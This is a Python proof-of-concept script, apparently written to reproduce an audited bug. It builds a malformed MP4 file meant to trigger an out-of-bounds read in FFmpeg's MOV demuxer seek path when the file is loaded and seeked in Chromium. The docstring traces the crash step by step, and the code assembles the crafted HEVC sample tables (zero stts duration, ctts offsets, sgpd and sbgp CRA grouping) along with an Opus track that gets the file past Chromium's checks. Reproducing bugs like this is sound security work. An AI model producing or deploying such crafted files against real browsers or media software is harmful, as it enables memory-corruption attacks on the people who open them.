#!/usr/bin/env python3
"""
Craft an MP4 file that triggers AUD-MEDIA_CODECS-300cea24:
  third_party/ffmpeg/libavformat/mov.c:11604 reads
  sti->index_entries[-1] when can_seek_to_key_sample is called with
  sample == -1 from mov_seek_stream's retry path.

Required ingredients:
  - HEVC video track (codec_id = AV_CODEC_ID_HEVC, set when mov.c sees
    `hev1` / `hvc1` sample entry plus an `hvcC` config record).
  - stts entry whose duration is 0 (so sc->min_sample_duration becomes 0).
    With min_sample_duration=0, FFMAX(0,1)=1 so next_ts = 0 - 1 = -1.
  - Multiple sync samples (stss) sharing the first DTS=0, with positive
    ctts offsets so that key_sample_pts > requested_pts (=0) at retry
    time, forcing can_seek_to_key_sample to return 0 once and then be
    invoked again with the post-search -1 sample index.
  - sgpd box with grouping_type='sync' and entry whose nal_unit_type
    is HEVC_NAL_CRA_NUT (=21). This is what
    get_sgpd_sync_index/HEVC_NAL_CRA_NUT looks for.
  - sbgp box (grouping_type='sync') mapping every sample to that sgpd
    entry, so is_open_key_sample(sample) returns true for non-zero
    samples.
  - Opus audio track so Chromium's media stack accepts the file
    (HEVC alone would be rejected at the demuxer-stream level on
    Chromium-branded builds; with an Opus track Chromium still
    initialises the demuxer and exposes seek). libavformat keeps the
    HEVC AVStream in s->streams[] regardless, and mov_read_seek's
    seek_individually loop dispatches mov_seek_stream on the HEVC
    track when JS seeks the Opus stream.

When JS issues `video.currentTime = 0`, Chromium's FFmpegDemuxer
calls `av_seek_frame(..., audio_stream_index, 0, AVSEEK_FLAG_BACKWARD)`.
mov_read_seek seeks audio (no HEVC bug there), then because
seek_individually is on by default, iterates all streams and calls
mov_seek_stream on the HEVC track. mov_seek_stream:
  * av_index_search_timestamp(0, BACKWARD) -> first sync sample
  * can_seek_to_key_sample(sample, 0) returns 0 because the chosen
    open-GOP key sample's PTS > 0
  * next_ts = 0 - FFMAX(0, 1) = -1
  * av_index_search_timestamp(-1, BACKWARD) -> -1
  * can_seek_to_key_sample(st, -1, -1):
      sample (=-1) < sample_offsets_count (positive) -> the upper-bound
      check passes,
      sti->index_entries[-1].timestamp -> ASAN OOB read.

The HEVC sample data itself does not need to decode -- Chromium
won't even try to decode it (HEVC decoder is not built in this
Chromium configuration); the bug fires inside the demuxer's seek
path before any decode.
"""
import struct
import sys

def be32(x): return struct.pack(">I", x & 0xFFFFFFFF)
def be24(x): return struct.pack(">I", x & 0xFFFFFFFF)[1:]
def be16(x): return struct.pack(">H", x & 0xFFFF)
def be8(x):  return struct.pack(">B", x & 0xFF)
def be64(x): return struct.pack(">Q", x & 0xFFFFFFFFFFFFFFFF)

def box(tag: bytes, payload: bytes) -> bytes:
    assert len(tag) == 4
    return be32(len(payload) + 8) + tag + payload

def fullbox(tag: bytes, version: int, flags: int, payload: bytes) -> bytes:
    return box(tag, be8(version) + be24(flags) + payload)

# --- ftyp ---
def ftyp() -> bytes:
    major = b"isom"
    minor = be32(0x200)
    compat = b"isom" + b"hvc1" + b"mp42"
    return box(b"ftyp", major + minor + compat)

# --- mvhd ---
def mvhd(timescale: int, duration: int, next_track_id: int) -> bytes:
    creation = 0
    modification = 0
    rate = 0x00010000
    volume = 0x0100
    matrix = struct.pack(">9I",
        0x00010000, 0, 0,
        0, 0x00010000, 0,
        0, 0, 0x40000000)
    pre_defined = b"\x00" * (4 * 6)
    payload = (be32(creation) + be32(modification) + be32(timescale) +
               be32(duration) + be32(rate) + be16(volume) +
               b"\x00\x00" + b"\x00" * 8 + matrix + pre_defined +
               be32(next_track_id))
    return fullbox(b"mvhd", 0, 0, payload)

# --- tkhd ---
def tkhd(track_id: int, duration: int, width: int, height: int,
         is_audio: bool) -> bytes:
    flags = 0x000003  # enabled, in_movie
    creation = 0
    modification = 0
    layer = 0
    alternate_group = 0
    volume = 0x0100 if is_audio else 0
    matrix = struct.pack(">9I",
        0x00010000, 0, 0,
        0, 0x00010000, 0,
        0, 0, 0x40000000)
    payload = (be32(creation) + be32(modification) + be32(track_id) +
               b"\x00" * 4 + be32(duration) + b"\x00" * 8 +
               be16(layer) + be16(alternate_group) + be16(volume) +
               b"\x00\x00" + matrix +
               be32(width << 16) + be32(height << 16))
    return fullbox(b"tkhd", 0, flags, payload)

# --- mdhd ---
def mdhd(timescale: int, duration: int, lang: bytes = b"und") -> bytes:
    creation = 0
    modification = 0
    # encode 3-letter language
    l0 = (lang[0] - 0x60) & 0x1F
    l1 = (lang[1] - 0x60) & 0x1F
    l2 = (lang[2] - 0x60) & 0x1F
    lang_code = (l0 << 10) | (l1 << 5) | l2
    payload = (be32(creation) + be32(modification) + be32(timescale) +
               be32(duration) + be16(lang_code) + be16(0))
    return fullbox(b"mdhd", 0, 0, payload)

# --- hdlr ---
def hdlr(handler_type: bytes, name: str = "") -> bytes:
    payload = be32(0) + handler_type + b"\x00" * 12 + name.encode() + b"\x00"
    return fullbox(b"hdlr", 0, 0, payload)

# --- vmhd ---
def vmhd() -> bytes:
    return fullbox(b"vmhd", 0, 1, be16(0) + b"\x00" * 6)

# --- smhd ---
def smhd() -> bytes:
    return fullbox(b"smhd", 0, 0, be16(0) + be16(0))

# --- dinf / dref ---
def dinf() -> bytes:
    url = fullbox(b"url ", 0, 1, b"")
    dref = fullbox(b"dref", 0, 0, be32(1) + url)
    return box(b"dinf", dref)

# --- minimal hvcC ---
def hvcC() -> bytes:
    """Minimal HEVCDecoderConfigurationRecord. The values must satisfy
    mov.c's hvcC parser without crashing. We supply a single VPS/SPS/PPS
    array with empty arrays so ffmpeg accepts but does not actually
    decode (Chromium won't try anyway)."""
    payload = (
        be8(1) +                          # configurationVersion
        be8(0x01) +                       # general_profile_space(2)/tier(1)/profile_idc(5)
        be32(0) +                         # general_profile_compatibility_flags
        b"\x00\x00\x00\x00\x00\x00" +     # general_constraint_indicator_flags (48 bits)
        be8(120) +                        # general_level_idc
        be16(0xF000) +                    # min_spatial_segmentation_idc
        be8(0xFC) +                       # parallelismType
        be8(0xFC) +                       # chromaFormat (4:2:0)
        be8(0xF8) +                       # bitDepthLumaMinus8
        be8(0xF8) +                       # bitDepthChromaMinus8
        be16(0) +                         # avgFrameRate
        be8(0x00) +                       # constantFrameRate(2)/numTemporalLayers(3)/temporalIdNested(1)/lengthSizeMinusOne(2)=0
        be8(0)                            # numOfArrays = 0
    )
    return box(b"hvcC", payload)

# --- hev1 sample entry ---
def hev1(width: int, height: int) -> bytes:
    pre_defined = b"\x00" * 16
    horizresolution = be32(0x00480000)  # 72 dpi
    vertresolution = be32(0x00480000)
    reserved = be32(0)
    frame_count = be16(1)
    compressorname = b"\x00" * 32
    depth = be16(0x0018)
    pre_defined2 = be16(0xFFFF)

    visual_sample_entry = (
        b"\x00" * 6 +                     # reserved
        be16(1) +                         # data_reference_index
        be16(0) + be16(0) + be32(0) +     # pre_defined / reserved
        b"\x00" * 8 +                     # pre_defined
        be16(width) + be16(height) +
        horizresolution + vertresolution +
        reserved +
        frame_count +
        compressorname +
        depth +
        pre_defined2)
    return box(b"hev1", visual_sample_entry + hvcC())

# --- Opus dOps + sample entry ---
def dOps(channel_count: int, sample_rate: int, pre_skip: int = 312) -> bytes:
    """Minimal Opus-specific box per ISO/IEC 14496-12 + ISO/IEC 14496-30
    style for Opus-in-MP4."""
    payload = (
        be8(0) +                          # Version
        be8(channel_count) +              # OutputChannelCount
        be16(pre_skip) +                  # PreSkip
        be32(sample_rate) +               # InputSampleRate
        be16(0) +                         # OutputGain (Q7.8)
        be8(0)                            # ChannelMappingFamily=0 (stereo/mono)
    )
    return box(b"dOps", payload)

def opus_sample_entry(channel_count: int, sample_rate: int) -> bytes:
    """`Opus` sample entry box (4cc 'Opus' per spec)."""
    audio_sample_entry = (
        b"\x00" * 6 +                     # reserved
        be16(1) +                         # data_reference_index
        be32(0) + be32(0) +               # reserved
        be16(channel_count) +
        be16(16) +                        # samplesize (== 16 per spec)
        be16(0) + be16(0) +               # pre-defined / reserved
        be32(sample_rate << 16))          # samplerate (16.16 fixed)
    return box(b"Opus", audio_sample_entry + dOps(channel_count, sample_rate))

def stsd(entry: bytes) -> bytes:
    return fullbox(b"stsd", 0, 0, be32(1) + entry)

# --- HEVC stbl boxes (CRAFTED) ---
def stbl_hevc(num_samples: int, sample_size: int, mdat_offset: int,
              ctts_offsets: list) -> bytes:
    """Build the *malicious* sample table.

    All `num_samples` samples are declared sync samples and mapped to
    an open-GOP CRA grouping. The single stts entry has duration=0 to
    force min_sample_duration=0 inside mov_build_open_gop_key_samples.
    """
    assert len(ctts_offsets) == num_samples

    entry = hev1(64, 64)
    stsd_box = stsd(entry)

    # stts: 1 entry, count=num_samples, duration=0
    stts_payload = be32(1) + be32(num_samples) + be32(0)
    stts_box = fullbox(b"stts", 0, 0, stts_payload)

    # ctts: per-sample composition offsets, version 1 (signed offsets allowed)
    ctts_payload = be32(num_samples)
    for off in ctts_offsets:
        ctts_payload += be32(1) + struct.pack(">i", off)
    ctts_box = fullbox(b"ctts", 1, 0, ctts_payload)

    # stss: every sample is a sync sample (1-based)
    stss_payload = be32(num_samples)
    for i in range(1, num_samples + 1):
        stss_payload += be32(i)
    stss_box = fullbox(b"stss", 0, 0, stss_payload)

    # sgpd grouping_type='sync', version=1, default_length=1 (NAL type byte)
    # entry: nal_unit_type byte = HEVC_NAL_CRA_NUT (=21) in the low 6 bits
    sgpd_payload = (b"sync" +
                    be32(1) +              # default_length = 1
                    be32(1) +              # entry_count = 1
                    be8(21))               # nal_unit_type CRA in low 6 bits
    sgpd_box = fullbox(b"sgpd", 1, 0, sgpd_payload)

    # sbgp grouping_type='sync', version=0
    #
    # IMPORTANT: ffmpeg's build_open_gop_key_points stores `sample_id`
    # (the running base index) `count` times per sbgp entry without
    # incrementing it inside the inner loop. To get
    # open_key_samples=[0,1,2,...,N-1] we must emit ONE sbgp entry per
    # sample (each {count=1, index=1}) so that sample_id ratchets
    # through every value before being consumed.
    sbgp_inner = b""
    for _ in range(num_samples):
        sbgp_inner += be32(1) + be32(1)              # count=1, group_idx=1
    sbgp_payload = b"sync" + be32(num_samples) + sbgp_inner
    sbgp_box = fullbox(b"sbgp", 0, 0, sbgp_payload)

    # stsc: 1 entry, first_chunk=1, samples_per_chunk=num_samples, sample_desc=1
    stsc_payload = be32(1) + be32(1) + be32(num_samples) + be32(1)
    stsc_box = fullbox(b"stsc", 0, 0, stsc_payload)

    # stsz: constant sample_size
    stsz_box = fullbox(b"stsz", 0, 0,
                       be32(sample_size) + be32(num_samples))

    # stco: 1 chunk pointing to mdat_offset
    stco_box = fullbox(b"stco", 0, 0, be32(1) + be32(mdat_offset))

    return box(b"stbl",
               stsd_box + stts_box + ctts_box + stss_box +
               sgpd_box + sbgp_box +
               stsc_box + stsz_box + stco_box)

# --- Opus stbl ---
def stbl_opus(num_samples: int, sample_size: int, mdat_offset: int,
              sample_duration: int) -> bytes:
    stsd_box = stsd(opus_sample_entry(2, 48000))
    stts_payload = be32(1) + be32(num_samples) + be32(sample_duration)
    stts_box = fullbox(b"stts", 0, 0, stts_payload)
    stsc_payload = be32(1) + be32(1) + be32(num_samples) + be32(1)
    stsc_box = fullbox(b"stsc", 0, 0, stsc_payload)
    stsz_box = fullbox(b"stsz", 0, 0, be32(sample_size) + be32(num_samples))
    stco_box = fullbox(b"stco", 0, 0, be32(1) + be32(mdat_offset))
    return box(b"stbl", stsd_box + stts_box + stsc_box + stsz_box + stco_box)

def trak(tkhd_box: bytes, mdia_box: bytes) -> bytes:
    return box(b"trak", tkhd_box + mdia_box)

def mdia(mdhd_box: bytes, hdlr_box: bytes, minf_box: bytes) -> bytes:
    return box(b"mdia", mdhd_box + hdlr_box + minf_box)

def minf(media_header: bytes, dinf_box: bytes, stbl_box: bytes) -> bytes:
    return box(b"minf", media_header + dinf_box + stbl_box)

def main(out_path: str):
    # ---- design ----
    NUM_VIDEO_SAMPLES = 64
    VIDEO_SAMPLE_SIZE = 8                     # 8 bytes of dummy NAL data per sample
    VIDEO_TIMESCALE = 1000
    # All samples DTS=0, distinct PTS via ctts offsets so the
    # is_open_key_sample(sample) && key_sample_pts > requested_pts test
    # in can_seek_to_key_sample fails the first time, forcing the
    # retry path with next_ts = -1. With 64 samples the index_entries
    # buffer is large (24 * 64 = 1.5KB) and stands clearly between
    # ASAN redzones.
    ctts_offsets = [(i + 1) * 50 for i in range(NUM_VIDEO_SAMPLES)]
    video_track_id = 1

    AUDIO_SAMPLE_SIZE = 16                    # synthetic, just bytes
    AUDIO_TIMESCALE = 48000
    # Cover ~30s with 20ms Opus packets so the audio track's playable
    # duration matches the movie duration. This avoids Chromium's
    # seek-clamping when JS seeks past audio's end.
    AUDIO_NUM_SAMPLES = 1500                  # 30s at 20ms/packet
    AUDIO_SAMPLE_DURATION = 960               # 20ms at 48kHz
    audio_track_id = 2

    movie_timescale = 1000
    # Track durations expressed in movie timescale. Make this large enough
    # that JS seeks land at meaningful timeline points and Chromium does
    # not short-circuit "seek-to-current".
    movie_duration = 30000                     # 30s
    video_duration_in_movie_ts = movie_duration
    audio_duration_in_movie_ts = movie_duration
    video_duration_in_media_ts = 30000
    audio_duration_in_media_ts = AUDIO_NUM_SAMPLES * AUDIO_SAMPLE_DURATION

    # ---- mdat plan ----
    # One Opus packet, just enough bytes; followed by 4 video samples
    # of VIDEO_SAMPLE_SIZE bytes each.  The actual data bytes don't
    # need to decode -- the bug fires before decode.
    one_audio_sample = b"\xfc\x00" + b"\x00" * (AUDIO_SAMPLE_SIZE - 2)
    audio_data = one_audio_sample * AUDIO_NUM_SAMPLES
    video_sample_bytes = b"\x00\x00\x00\x01" + bytes([0x40, 0x01, 0x0c, 0x01])
    assert len(video_sample_bytes) == VIDEO_SAMPLE_SIZE
    video_data = video_sample_bytes * NUM_VIDEO_SAMPLES

    # We write moov BEFORE mdat. We need stco offsets that point inside
    # mdat. Compute moov size first by building it twice (once with
    # placeholder offsets, then patch).

    def build(audio_offset: int, video_offset: int) -> bytes:
        # video trak
        v_tkhd = tkhd(video_track_id, video_duration_in_movie_ts, 64, 64,
                      is_audio=False)
        v_mdhd = mdhd(VIDEO_TIMESCALE, video_duration_in_media_ts)
        v_hdlr = hdlr(b"vide", "VideoHandler")
        v_stbl = stbl_hevc(NUM_VIDEO_SAMPLES, VIDEO_SAMPLE_SIZE,
                           video_offset, ctts_offsets)
        v_minf = minf(vmhd(), dinf(), v_stbl)
        v_mdia = mdia(v_mdhd, v_hdlr, v_minf)
        v_trak = trak(v_tkhd, v_mdia)

        # audio trak
        a_tkhd = tkhd(audio_track_id, audio_duration_in_movie_ts, 0, 0,
                      is_audio=True)
        a_mdhd = mdhd(AUDIO_TIMESCALE, audio_duration_in_media_ts)
        a_hdlr = hdlr(b"soun", "SoundHandler")
        a_stbl = stbl_opus(AUDIO_NUM_SAMPLES, AUDIO_SAMPLE_SIZE,
                           audio_offset, AUDIO_SAMPLE_DURATION)
        a_minf = minf(smhd(), dinf(), a_stbl)
        a_mdia = mdia(a_mdhd, a_hdlr, a_minf)
        a_trak = trak(a_tkhd, a_mdia)

        moov_box = box(b"moov",
                       mvhd(movie_timescale, movie_duration, 3) +
                       v_trak + a_trak)
        return ftyp() + moov_box

    # First pass with placeholder offsets to compute layout
    placeholder = build(0, 0)
    pre_mdat_size = len(placeholder)
    mdat_header_size = 8
    audio_offset = pre_mdat_size + mdat_header_size
    video_offset = audio_offset + len(audio_data)

    # Second pass with real offsets
    final_pre_mdat = build(audio_offset, video_offset)
    assert len(final_pre_mdat) == pre_mdat_size, (
        f"layout drift: {len(final_pre_mdat)} vs {pre_mdat_size}")

    mdat_payload = audio_data + video_data
    mdat_box = box(b"mdat", mdat_payload)

    out = final_pre_mdat + mdat_box
    with open(out_path, "wb") as f:
        f.write(out)
    print(f"wrote {len(out)} bytes -> {out_path}")
    print(f"audio_offset={audio_offset}, video_offset={video_offset}")
    print(f"video samples: {NUM_VIDEO_SAMPLES}, ctts offsets: {ctts_offsets}")
    print(f"video stts duration: 0 (will set min_sample_duration=0)")


if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "poc.mp4"
    main(out)
